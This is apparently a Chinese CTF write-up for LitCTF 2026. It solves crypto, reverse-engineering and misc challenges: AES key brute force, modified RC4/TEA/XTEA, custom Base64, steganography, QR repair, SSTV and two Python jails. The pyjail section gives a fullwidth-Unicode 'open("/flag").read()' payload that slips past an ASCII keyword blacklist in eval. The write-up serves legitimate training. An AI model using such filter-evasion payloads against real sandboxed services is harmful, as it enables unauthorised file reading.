lit_tiny_key_aes
这道题在考什么
AES-128 的密钥长度是 16 字节。本题假设密钥前 13 字节被运维写死在配置里(LitCTF2026!!!),只有最后 3 字节随机。这样在离线环境下,你可以 穷举所有可能的后缀(共 256^3 = 16{,}777{,}216 种),对每个候选密钥做一次解密,看谁解出来是合法明文(看起来像 flag)。
读完应掌握:
- AES ECB 模式在「同一密钥」下对每个 16 字节块独立加密;
- PKCS#7 填充:明文长度不是块长的整数倍时,末尾补若干字节的「补了几」;
- 用小脚本 枚举
itertools.product(range(256), repeat=3)并配合unpad筛掉错误密钥。
为什么能暴力
完整密钥空间是 2^{128},根本不可遍历。但本题 只有 3 个未知字节,枚举量是 256^3。在普通笔记本上,用 Python 做一次 AES 解密很快,整体往往在 数十秒到一两分钟 量级(取决于解释器与 CPU),对比赛/练习是可接受的「小暴力」。
AES-ECB + PKCS#7 在代码里长什么样
出题脚本里大致做了两件事:
key = KEY_PREFIX + 未知三字节(总长 16 字节);cipher = AES.new(key, AES.MODE_ECB),对pad(plaintext, 16)的结果加密。
解密侧要对每个猜测的 key:
pt = cipher.decrypt(ciphertext);unpad(pt, 16):若填充非法,会抛ValueError—— 说明这个密钥不对,换下一组三字节;- 填合法时,再检查
pt.startswith(b"litctf{")以及结尾是否像},避免误判。
解题步骤(建议照做)
- 从
output.txt读密文c。题目里是 Python 的repr形式(b"..."),可以用ast.literal_eval安全转成bytes。 - 固定前缀:
KEY_PREFIX = b"LitCTF2026!!!"(与README/源码一致)。 - 三层循环遍历
a,b,c ∈ [0,255],拼key = KEY_PREFIX + bytes([a,b,c])。 AES.new(key, AES.MODE_ECB).decrypt(c),再unpad。- 成功后打印 UTF-8 字符串即为 flag。
为什么不用手猜填充
PKCS#7 的最后一个字节会告诉你「补了多少字节」。错误密钥解出来几乎总是乱码,unpad 会立刻报错 —— 相当于免费帮你 批量筛掉 99.999% 的错误 key。
新手常见坑
- 只枚举可打印字符:未知字节是任意 字节值
0\sim255,不要限制成「可见 ASCII」。 - 忘记前缀长度:必须是 13(
LitCTF2026!!!)+ 3,凑满 16。 - 暴力很慢:若你把循环写错成
256^4或重复创建大量对象,会慢很多;先保证逻辑与solve.py一致再谈优化。
完整脚本在哪里
同级目录的 solve.py。其核心结构就是:product(range(256), repeat=3) + decrypt + unpad + 前缀检查。
想扩展阅读
- CTF-Wiki:分组密码 / AES
- PKCS#7:搜 RFC 5652 或维基「PKCS」
->REVERSE方向
lit_rc4_variant
考点
RC4 风格 的初始化 + 交换 + 流式异或,但状态为 64、keystream 为 S[v7] + S[v10](模 256),与标准 RC4 不同。
步骤
- 提取
g_key、g_cipher。 - 在 Python 中按 C 逻辑仿写
rc4_variant_crypt。 - 对密文执行同一函数(异或自逆)得到明文 flag。
验证
python solve.py 应打印 secret.FLAG。
solve.py:
#!/usr/bin/env python3
"""裁判:验证 RC4 魔改。"""
from __future__ import annotations
import importlib.util
import pathlib
ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)
def rc4_variant_crypt(data: bytearray, key: bytes) -> None:
s_box = list(range(64))
buf = [key[i % len(key)] for i in range(64)]
j = 0
for i in range(64):
j = (buf[i] + s_box[i] + j) % 64
s_box[i], s_box[j] = s_box[j], s_box[i]
v10 = 0
v9 = 0
for n in range(len(data)):
v10 = (v10 + 1) % 64
v9 = (s_box[v10] + v9) % 64
s_box[v10], s_box[v9] = s_box[v9], s_box[v10]
v7 = (s_box[v10] + s_box[v9]) & 63
data[n] ^= (s_box[v7] + s_box[v10]) & 0xFF
def main() -> None:
key = secret.KEY_STR.encode()
plain = bytearray(secret.FLAG.encode())
rc4_variant_crypt(plain, key)
dec = bytearray(plain)
rc4_variant_crypt(dec, key)
assert dec.decode() == secret.FLAG
print(secret.FLAG)
if __name__ == "__main__":
main()
lit_tea_standard
考点
标准 TEA 分组长度为 8 字节,密钥 128 bit(4×uint32),结合 PKCS#7 填充。
步骤
- 从
.rdata提取g_key、g_cipher。 - 实现 TEA 解密(32 轮逆序,
sum从0x9E3779B9 * 32递减)。 - 分块解密后按 PKCS#7 去掉末尾填充字节。
验证
python solve.py 应打印 secret.FLAG。
solve.py:
#!/usr/bin/env python3
"""裁判:用 secret 中的 KEY 与 FLAG 验证 TEA 加解密。"""
from __future__ import annotations
import importlib.util
import pathlib
import struct
ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)
def pkcs7_pad(data: bytes, block: int = 8) -> bytes:
n = block - (len(data) % block)
if n == 0:
n = block
return data + bytes([n]) * n
def tea_encrypt_block(v0: int, v1: int, k: list[int]) -> tuple[int, int]:
s = 0
delta = 0x9E3779B9
for _ in range(32):
s = (s + delta) & 0xFFFFFFFF
v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + s) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
v1 = (v1 + (((v0 << 4) + k[2]) ^ (v0 + s) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
return v0, v1
def tea_decrypt_block(v0: int, v1: int, k: list[int]) -> tuple[int, int]:
delta = 0x9E3779B9
s = (delta * 32) & 0xFFFFFFFF
for _ in range(32):
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + s) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + s) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
s = (s - delta) & 0xFFFFFFFF
return v0, v1
def main() -> None:
k = list(secret.KEY_U32)
raw = secret.FLAG.encode()
padded = pkcs7_pad(raw, 8)
buf = bytearray(padded)
for i in range(0, len(buf), 8):
v0, v1 = struct.unpack_from("<II", buf, i)
v0, v1 = tea_encrypt_block(v0, v1, k)
struct.pack_into("<II", buf, i, v0, v1)
dec = bytearray()
for i in range(0, len(buf), 8):
v0, v1 = struct.unpack_from("<II", buf, i)
v0, v1 = tea_decrypt_block(v0, v1, k)
dec += struct.pack("<II", v0, v1)
pad = dec[-1]
assert bytes(dec[:-pad]).decode() == secret.FLAG
print(secret.FLAG)
if __name__ == "__main__":
main()
lit_b64_alphabet
考点
识别 自定义字母表的 Base64:分组与标准 Base64 相同,仅置换 64 字符表。
步骤
- 在
.rdata提取 64 字符 的g_alphabet与较长串g_expected。 - 建立
char -> 6-bit index逆表(=不参与下标)。 - 将
g_expected按 4 字符一组还原 24 bit,再拆成 3 字节(注意=数量决定输出字节数)。 - 得到 ASCII flag。
验证
python solve.py(依赖 secret.py)应打印当前 flag。解码实现需与 challenge_gen.py 中编码一致。
solve.py:
#!/usr/bin/env python3
"""裁判:用与 challenge_gen 相同的种子还原字母表并解码密文。"""
from __future__ import annotations
import importlib.util
import pathlib
import random
ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)
STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def custom_b64_encode(raw: bytes, alphabet: str) -> str:
out: list[str] = []
n = len(raw)
i = 0
while i < n:
rem = n - i
a = raw[i]
b = raw[i + 1] if rem >= 2 else 0
c = raw[i + 2] if rem >= 3 else 0
triple = (a << 16) | (b << 8) | c
out.append(alphabet[(triple >> 18) & 63])
out.append(alphabet[(triple >> 12) & 63])
if rem >= 3:
out.append(alphabet[(triple >> 6) & 63])
out.append(alphabet[triple & 63])
elif rem == 2:
out.append(alphabet[(triple >> 6) & 63])
out.append("=")
else:
out.append("=")
out.append("=")
i += 3
return "".join(out)
def custom_b64_decode(enc: str, alphabet: str) -> bytes:
inv = {c: i for i, c in enumerate(alphabet)}
out = bytearray()
i = 0
while i < len(enc):
quad = enc[i : i + 4]
if len(quad) < 4:
break
vals = []
for ch in quad:
if ch == "=":
vals.append(None)
else:
vals.append(inv[ch])
acc = 0
bits = 0
for v in vals:
if v is None:
break
acc = (acc << 6) | v
bits += 6
pad = vals.count(None)
nbytes = 3 - pad if pad <= 2 else 0
if nbytes == 3:
out.append((acc >> 16) & 0xFF)
out.append((acc >> 8) & 0xFF)
out.append(acc & 0xFF)
elif nbytes == 2:
out.append((acc >> 10) & 0xFF)
out.append((acc >> 2) & 0xFF)
elif nbytes == 1:
out.append((acc >> 4) & 0xFF)
i += 4
return bytes(out)
def main() -> None:
rng = random.Random(0x20260419)
chars = list(STANDARD)
rng.shuffle(chars)
alphabet = "".join(chars)
enc = custom_b64_encode(secret.FLAG.encode(), alphabet)
dec = custom_b64_decode(enc, alphabet)
assert dec.decode() == secret.FLAG
print(secret.FLAG)
if __name__ == "__main__":
main()
lit_xor_chain
考点
识别 逐字节变换(异或 + 加法)与 常量数组比对,并正确做 模 256 意义下的逆运算。
步骤
- IDA 打开
challenge.exe,main中可见scanf、strlen与循环。 - 循环内模式:
input[i] ^ 0x52、+ 5、与g_expected[i]比较(具体立即数以二进制为准)。 - 逆推:
c = ((t - 5) mod 256) ^ 0x52。 - 将
.rdata中的g_expected整表导出或在反汇编里复制,用脚本逐字节恢复。
验证
运行同级 solve.py(需 secret.py)应打印当前 flag。
solve.py:
#!/usr/bin/env python3
"""裁判脚本:从 secret.FLAG 复现校验数组并验证逆运算。"""
from __future__ import annotations
import importlib.util
import pathlib
ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)
XOR_K = 0x52
ADD_K = 5
def forward_byte(b: int) -> int:
return ((b ^ XOR_K) + ADD_K) & 0xFF
def recover_byte(t: int) -> int:
return ((t - ADD_K) % 256) ^ XOR_K
def main() -> None:
flag = secret.FLAG.encode()
enc = [forward_byte(x) for x in flag]
dec = bytes(recover_byte(t) for t in enc)
assert dec.decode() == secret.FLAG
print(dec.decode())
if __name__ == "__main__":
main()
lit_xtea_tweak
考点
XTEA 结构识别;魔改点为轮常数 delta = 0xDEADBEEF(非 0x9E3779B9)。填充为 PKCS#7。
步骤
- 提取
g_key、g_cipher;注意到DELTA_XOR或汇编中的立即数。 - 使用 同一
delta实现解密:sum初值delta * 32(模2^{32}),每轮先逆v1再sum -= delta再逆v0。 - 去填充得 flag。
验证
python solve.py 应输出 secret.FLAG。
solve.py:
#!/usr/bin/env python3
"""裁判:验证魔改 delta 的 XTEA。"""
from __future__ import annotations
import importlib.util
import pathlib
import struct
ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)
DELTA = 0xDEADBEEF
def pkcs7_pad(data: bytes, block: int = 8) -> bytes:
n = block - (len(data) % block)
if n == 0:
n = block
return data + bytes([n]) * n
def xtea_encrypt_block(v0: int, v1: int, k: list[int]) -> tuple[int, int]:
s = 0
for _ in range(32):
v0 = (
v0
+ ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ ((s + k[s & 3]) & 0xFFFFFFFF))
) & 0xFFFFFFFF
s = (s + DELTA) & 0xFFFFFFFF
v1 = (
v1
+ ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((s + k[(s >> 11) & 3]) & 0xFFFFFFFF))
) & 0xFFFFFFFF
return v0, v1
def xtea_decrypt_block(v0: int, v1: int, k: list[int]) -> tuple[int, int]:
s = (DELTA * 32) & 0xFFFFFFFF
for _ in range(32):
v1 = (
v1
- ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((s + k[(s >> 11) & 3]) & 0xFFFFFFFF))
) & 0xFFFFFFFF
s = (s - DELTA) & 0xFFFFFFFF
v0 = (
v0
- ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ ((s + k[s & 3]) & 0xFFFFFFFF))
) & 0xFFFFFFFF
return v0, v1
def main() -> None:
k = list(secret.KEY_U32)
raw = secret.FLAG.encode()
padded = pkcs7_pad(raw, 8)
buf = bytearray(padded)
for i in range(0, len(buf), 8):
v0, v1 = struct.unpack_from("<II", buf, i)
v0, v1 = xtea_encrypt_block(v0, v1, k)
struct.pack_into("<II", buf, i, v0, v1)
dec = bytearray()
for i in range(0, len(buf), 8):
v0, v1 = struct.unpack_from("<II", buf, i)
v0, v1 = xtea_decrypt_block(v0, v1, k)
dec += struct.pack("<II", v0, v1)
pad = dec[-1]
assert bytes(dec[:-pad]).decode() == secret.FLAG
print(secret.FLAG)
if __name__ == "__main__":
main()
->MISC方向
lit_lsb_base64

预期解法
- 使用 Aperi’Solve / StegOnline,在 Extract LSB 中勾选 R 通道、bit 0,得到一段 Base64 文本。
- Base64 解码得到 flag:
LitCTF{lsb_1s_fun_w1th_b4s3_64}。
验证脚本(命题用)
嵌入格式:4 字节大端长度 + Base64 文本的 ASCII 字节(不含换行)。
import base64
import struct
from PIL import Image
im = Image.open("stego.png").convert("RGB")
bits = []
for y in range(im.height):
for x in range(im.width):
r, _, _ = im.getpixel((x, y))
bits.append(r & 1)
def bits_to_bytes(bits):
out = bytearray()
for i in range(0, len(bits) - 7, 8):
out.append(int("".join(str(b) for b in bits[i : i + 8]), 2))
return bytes(out)
raw = bits_to_bytes(bits)
n = struct.unpack(">I", raw[:4])[0]
b64 = raw[4 : 4 + n]
print(base64.b64decode(b64).decode())
重赛
修改 challenge_gen.py 中 FLAG 后重新运行。
lit_rush_qr

预期解法
- 将
rush.gif拆帧(在线工具或ffmpeg -i rush.gif fr_%03d.png)。 - 找到包含残缺 QR 的帧(本题 GIF 中该帧会重复出现)。
- 尝试直接手机扫码;若失败,用图像编辑补全 左下、右上 两处 finder pattern(或整体对照标准 QR 定位角手绘黑色方块)。
- 扫码得到 flag:
LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}。
命题说明
QR 使用 ERROR_CORRECT_H,数据较短,允许一定缺损仍可读;若设备解码失败,手绘定位角为预期兜底步骤。
Python 脚本
仓库内 solve.py:OpenCV 抽帧解码;失败时按 Version 4 几何从参考码拷贝左下、右上 定位图案 像素后再次解码(依赖见 requirements-solve.txt)。
重赛
修改 challenge_gen.py 中 FLAG 后重新运行生成器;若版本不再是 V4,需同步调整 solve.py 中 make_reference_400() 的版本与 n_inner 逻辑。
lit_sstv
预期解法
- 使用任意 SSTV 解码器(推荐在线工具)上传
signal.wav。 - 模式选择 Martin M1(与
challenge_gen.py中pysstv.color.MartinM1一致)。 - 从解码得到的图片中读取:
LitCTF{sstv_p4t13nc3}。
命题说明
- 分辨率 320×256,16-bit PCM WAV,内容仅为白底黑字 flag,适合新手解码。
- 生成依赖:
pip install pysstv Pillow,运行python challenge_gen.py。
重赛
修改 challenge_gen.py 中 FLAG 后重新生成 signal.wav。
lit_welcome


预期解法
- 打开 welcome.png。
- 隐藏文字颜色接近背景色,可通过全选复制到文本编辑器,或在图片工具中拉高亮度/对比度查看。
- 读出并提交 LitCTF{w3lc0m3_t0_m1sc_w0rld}。
Pillow 验证脚本:
from PIL import Image, ImageChops, ImageEnhance, ImageOps
img = Image.open("welcome.png").convert("RGB")
white = Image.new("RGB", img.size, (255, 255, 255))
diff = ImageChops.difference(img, white)
diff = ImageEnhance.Contrast(diff).enhance(100.0)
gray = ImageOps.grayscale(diff)
gray = ImageOps.autocontrast(gray, cutoff=0)
gray = ImageEnhance.Sharpness(gray.convert("RGB")).enhance(2.0).convert("L")
gray.save("welcome_enhanced.png")
打开 welcome_enhanced.png 后即可肉眼读出 flag。
lit_pyjail_unicode
预期解法
- 阅读
jail.py:banned()对原始输入做 ASCII 关键字匹配,且拦截\u、\x等转义把戏。 - 使用 Unicode 全角字母 拼出内建函数名
open,例如字符 U+FF4F / FF50 / FF45 / FF4F(open)。 - 一行表达式:
open("/flag").read()
eval()成功后服务端repr()输出 flag 字符串。
原理简述
CPython 在解析源码时将符合规范的 Unicode 标识符规范化;全角兼容字形的字母序列可作为 同一内建名 open 的拼写,而简单子串黑名单不会命中 ASCII 子串 open。
运维
与 lit_pyjail_reader 共用同一套 entrypoint 环境变量约定。
lit_pyjail_reader
预期解法
- 使用
nc连接服务,收到Please enter the reverse of 'XXXXXXXX' to continue:。 - 将
XXXXXXXX反转 后发回一行。 - 第一次路径输入
/app/where_is_flag.txt,得到一行/flag(或平台自定义但本题约定为/flag)。 - 第二次路径输入
/flag,回显即为平台注入的 flag。
自动化
见选手包 solver_template.py:解析单引号内字符串、反转、发送两次路径。
知识点
- 非路径爆破:路径由镜像内
where_is_flag.txt明示。 - 考察网络交互与简单字符串操作,为后续真·过滤型 Pyjail 做铺垫。
运维
docker compose 环境变量与 LitCTF-ezssti 相同;真 flag 仅存在于容器内 /flag。


![[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602034759133.png)
![[5.20]从抖音信息收集到微信小程序sessionkey泄露伪造登录渗透某edu站,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240520143248539.jpg)


![[5.16]从微信小程序越权渗透某edu站的实例,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240522095651301.png)

![[HGAME]2024 WEEK1 writeup笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240201194241296.png)



暂无评论内容